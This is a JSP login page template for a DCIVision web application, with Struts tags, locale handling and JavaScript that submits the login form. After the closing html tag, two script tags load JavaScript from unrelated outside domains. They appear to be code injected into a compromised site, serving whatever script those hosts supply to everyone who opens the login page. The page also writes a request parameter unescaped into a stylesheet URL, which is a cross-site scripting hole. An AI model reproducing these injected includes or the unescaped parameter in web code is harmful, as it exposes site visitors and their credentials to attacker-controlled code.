<%@ page contentType="text/html;charset=UTF-8" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-tiles" prefix="tiles" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<html>
<head>
<title><%= SystemParameterFactory.getSystemParameter(SystemParameterConstant.PAGE_TITLE)%></title>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0">
<%
	String jspLangParam = "";
	String preference = "1";
	
  if (!org.apache.commons.lang.StringUtils.isEmpty(request.getParameter(GlobalConstant.LANGUAGE_PARAMETER))&&!request.getParameter(GlobalConstant.LANGUAGE_PARAMETER).equals("null")) {
	  jspLangParam = request.getParameter(GlobalConstant.LANGUAGE_PARAMETER);
  } else {
	  jspLangParam = sessionContainer.getSessionLocale().toString();
  }
  
  session.setAttribute(org.apache.struts.Globals.LOCALE_KEY, Utility.getLocaleByString(jspLangParam));
  
  //preference = sessionContainer.getPreference();
 
  
%>
<link rel="stylesheet" href="<%= request.getContextPath() %>/theme/pref<%= preference %>/css/lang/<%=jspLangParam%>/GlobalStyle.css" charset="UTF-8" type="text/css">
<link rel="stylesheet" href="<%= request.getContextPath() %>/theme/pref<%= preference %>/css/common/common.css" charset="UTF-8" type="text/css">

<script language="Javascript" src="<%= request.getContextPath() %>/js/Framework.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript">
<!--
var isLogout=<%=(request.getAttribute("logout") != null)%>
var popUp=<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.POPUP_WIN)%>

if (isLogout && popUp && window.opener) {
  window.close();
}

function CheckLogin(e) {
  var code;
  if (!e) var e = window.event;
  if (e.keyCode) code = e.keyCode;
  else if (e.which) code = e.which;

  if (code==13) {
    OpLogin();
  }
}

function ValidateInput() {
  if (document.forms[0].loginName.value.length > 0 && document.forms[0].loginPwd.value.length > 0) {
    return(true);
  } else {
    return(false);
  }
}

function OpLogin() {
  if (!ValidateInput()) {
    alert("<bean:message key='errors.login.login_input_missing'/>");
    return(false);
  }

  if (popUp) {
    var sOptions;
    var sPopupPath = '<%=request.getContextPath() + "/jsp/common/Waiting.jsp"%>';

    sOptions = 'status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no';
    sOptions = sOptions + ',width=' + (screen.availWidth - 10).toString();
    sOptions = sOptions + ',height=' + (screen.availHeight - 48).toString();
    sOptions = sOptions + ',screenX=0,screenY=0,left=0,top=0';

    var appWin = window.open(sPopupPath, "DCIVisionAppWindow", "");
    if (appWin) {
      appWin.focus();
      appWin.moveTo(0, 0);
      appWin.resizeTo(screen.availWidth, screen.availHeight);
    }
    document.forms[0].target = "DCIVisionAppWindow";
  }
  document.forms[0].action.value = "login";
  document.forms[0].submit();
  document.forms[0].loginName.value = "";
  document.forms[0].loginPwd.value = "";
  return(false);
}

var clientScreenWidth = 1024;
if (self.screen) {
  clientScreenWidth = screen.width;
} else if (navigator.javaEnabled && navigator.javaEnabled()) {
  clientScreenWidth = java.awt.Toolkit.getDefaultToolkit().getScreenSize().width;
}

//-->
</script>
</head>
<tiles:insert attribute="content"/>
</html>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>